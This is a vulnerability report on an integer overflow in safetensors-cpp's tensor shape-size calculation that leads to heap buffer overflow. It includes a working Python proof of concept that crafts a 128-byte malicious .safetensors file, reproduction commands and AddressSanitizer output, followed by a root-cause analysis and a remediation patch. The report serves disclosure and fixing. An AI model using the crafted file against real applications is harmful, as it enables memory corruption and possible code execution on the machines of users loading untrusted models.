report.md

Integer Overflow in safetensors-cpp Enables Heap Buffer Overflow via Malicious Model Files

Summary

I found an integer overflow vulnerability in safetensors-cpp's get_shape_size() function that enables a heap buffer overflow when loading a crafted .safetensors model file. The function multiplies tensor shape dimensions using unchecked size_t arithmetic, allowing dimensions to overflow to a small value that passes all validation checks. The reference Rust implementation correctly uses checked_mul and rejects such files with SafeTensorError::ValidationOverflow.

A 128-byte malicious .safetensors file passes safetensors-cpp's load_from_memory() and validate_data_offsets() without error. Any consuming application that uses the shape dimensions for buffer allocation or iteration will experience a heap buffer overflow. This was confirmed with AddressSanitizer.

Attack Preconditions

1. The target application uses safetensors-cpp to load .safetensors model files
2. The application accepts model files from untrusted sources (e.g., Hugging Face Hub, user uploads, shared model repositories)
3. The application uses tensor shape dimensions for buffer allocation, iteration, or processing (standard behavior for ML frameworks)

Steps to Reproduce

1. Create the malicious safetensors file

# craft_overflow.py
import json, struct

shape = [4194305, 4194305, 211106198978564]
# True product: ~3.7e27, overflows uint64 to exactly 4
# With F32 (4 bytes): tensor_size = 16

header = {"overflow_tensor": {"dtype": "F32", "shape": shape, "data_offsets": [0, 16]}}
header_json = json.dumps(header, separators=(',', ':'))
header_bytes = header_json.encode('utf-8')
pad_len = (8 - len(header_bytes) % 8) % 8
header_bytes += b' ' * pad_len

with open("overflow_tensor.safetensors", "wb") as f:
    f.write(struct.pack('<Q', len(header_bytes)) + header_bytes + b"\x41" * 16)

2. Verify the Rust reference implementation rejects it

from safetensors import safe_open
safe_open("overflow_tensor.safetensors", framework="numpy")
# Raises: SafetensorError: Error while deserializing header: ValidationOverflow

3. Verify safetensors-cpp accepts it

Compile the test program:

g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -I safetensors-cpp -o test_overflow test_overflow.cc
./test_overflow overflow_tensor.safetensors

Output:

[+] load_from_memory SUCCEEDED (file parsed without error)
[*] validate_data_offsets: PASSED
    get_shape_size() = 4  (OVERFLOWED! True value: ~3.7e27)
    tensor_size = 4 * 4 = 16
    tensor_size == data_size? YES (validation passes!)

4. Demonstrate heap buffer overflow with ASan

g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -fsanitize=address -g \
    -I safetensors-cpp -o crash_overflow crash_overflow.cc
./crash_overflow overflow_tensor.safetensors

Output:

[+] File loaded and validated successfully
Processing tensor 'overflow_tensor':
  Allocating buffer: 16 bytes
  Shape claims 4194305 x 4194305 x 211106198978564 = way more than 4 elements
  Iterating shape[0]=4194305 elements (but buffer only has 4)...

==33302==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001a0
WRITE of size 4 at 0x6020000001a0 thread T0
0x6020000001a0 is located 0 bytes after 16-byte region [0x602000000190,0x6020000001a0)
SUMMARY: AddressSanitizer: heap-buffer-overflow crash_overflow.cc:69

Root Cause Analysis

The vulnerability is in safetensors.hh in the get_shape_size() function (line ~4616):

size_t get_shape_size(const tensor_t &t) {
  // ...
  size_t sz = 1;
  for (size_t i = 0; i < t.shape.size(); i++) {
    sz *= t.shape[i];   // UNCHECKED MULTIPLICATION - can silently overflow
  }
  return sz;
}

A second unchecked multiplication occurs in validate_data_offsets() (line ~4666):

size_t tensor_size = get_dtype_bytes(tensor.dtype) * get_shape_size(tensor);

The reference Rust implementation uses safe arithmetic that detects overflow:

let nelements: usize = info.shape.iter().copied()
    .try_fold(1usize, usize::checked_mul)
    .ok_or(SafeTensorError::ValidationOverflow)?;

Why the overflow works

The crafted shape [4194305, 4194305, 211106198978564] produces:

• True product: 3,713,821,298,447,761,542,108,676,100 (~3.7 x 10^27)
• uint64 maximum: 18,446,744,073,709,551,615 (~1.8 x 10^19)
• After overflow (mod 2^64): exactly 4

All three values are below 2^53 (9,007,199,254,740,992), ensuring they are exactly representable as JSON double-precision numbers and survive parsing without precision loss.

With F32 dtype (4 bytes per element): tensor_size = 4 * 4 = 16 bytes Setting data_offsets = [0, 16] makes tensor_size == data_size, so validation passes.

Remediation

Add overflow checking to get_shape_size():

size_t get_shape_size(const tensor_t &t) {
  if (t.shape.empty()) return 1;
  if (t.shape.size() >= kMaxDim) return 0;

  size_t sz = 1;
  for (size_t i = 0; i < t.shape.size(); i++) {
    if (t.shape[i] != 0 && sz > SIZE_MAX / t.shape[i]) {
      return 0;  // overflow would occur
    }
    sz *= t.shape[i];
  }
  return sz;
}

Also add overflow checking in validate_data_offsets() for the dtype_bytes * shape_size multiplication:

size_t shape_size = get_shape_size(tensor);
size_t dtype_bytes = get_dtype_bytes(tensor.dtype);
if (shape_size != 0 && dtype_bytes > SIZE_MAX / shape_size) {
    ss << "Tensor size overflow for '" << key << "'\n";
    valid = false;
    continue;
}
size_t tensor_size = dtype_bytes * shape_size;

References

• safetensors-cpp: https://github.com/syoyo/safetensors-cpp
• Rust reference (with checked_mul): https://github.com/huggingface/safetensors/blob/main/safetensors/src/tensor.rs
• Trail of Bits audit of safetensors: https://huggingface.co/docs/safetensors/en/audit_results
• CWE-190: Integer Overflow or Wraparound: https://cwe.mitre.org/data/definitions/190.html

Impact

This vulnerability allows an attacker to craft a malicious .safetensors model file that:

1. Passes all validation in safetensors-cpp (load + validate_data_offsets)
2. Is rejected by the Rust reference implementation (cross-implementation differential)
3. Causes heap buffer overflow in any consuming application that uses shape dimensions for memory operations

The attack surface is significant because .safetensors is the primary model format for Hugging Face models. Any C++ application loading models from untrusted sources (model hubs, user uploads, federated learning) is vulnerable. The malicious file is only 128 bytes and indistinguishable from a legitimate safetensors file without overflow-aware validation.

Severity: High (CWE-190 leading to heap overflow / potential RCE in C++ applications)